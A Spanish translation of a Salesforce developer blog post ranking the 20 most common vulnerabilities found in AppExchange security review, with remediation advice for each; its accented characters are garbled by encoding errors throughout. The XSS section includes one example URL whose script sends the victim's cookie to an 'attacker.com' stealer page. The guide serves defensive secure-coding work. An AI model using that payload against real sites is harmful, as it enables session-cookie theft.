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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

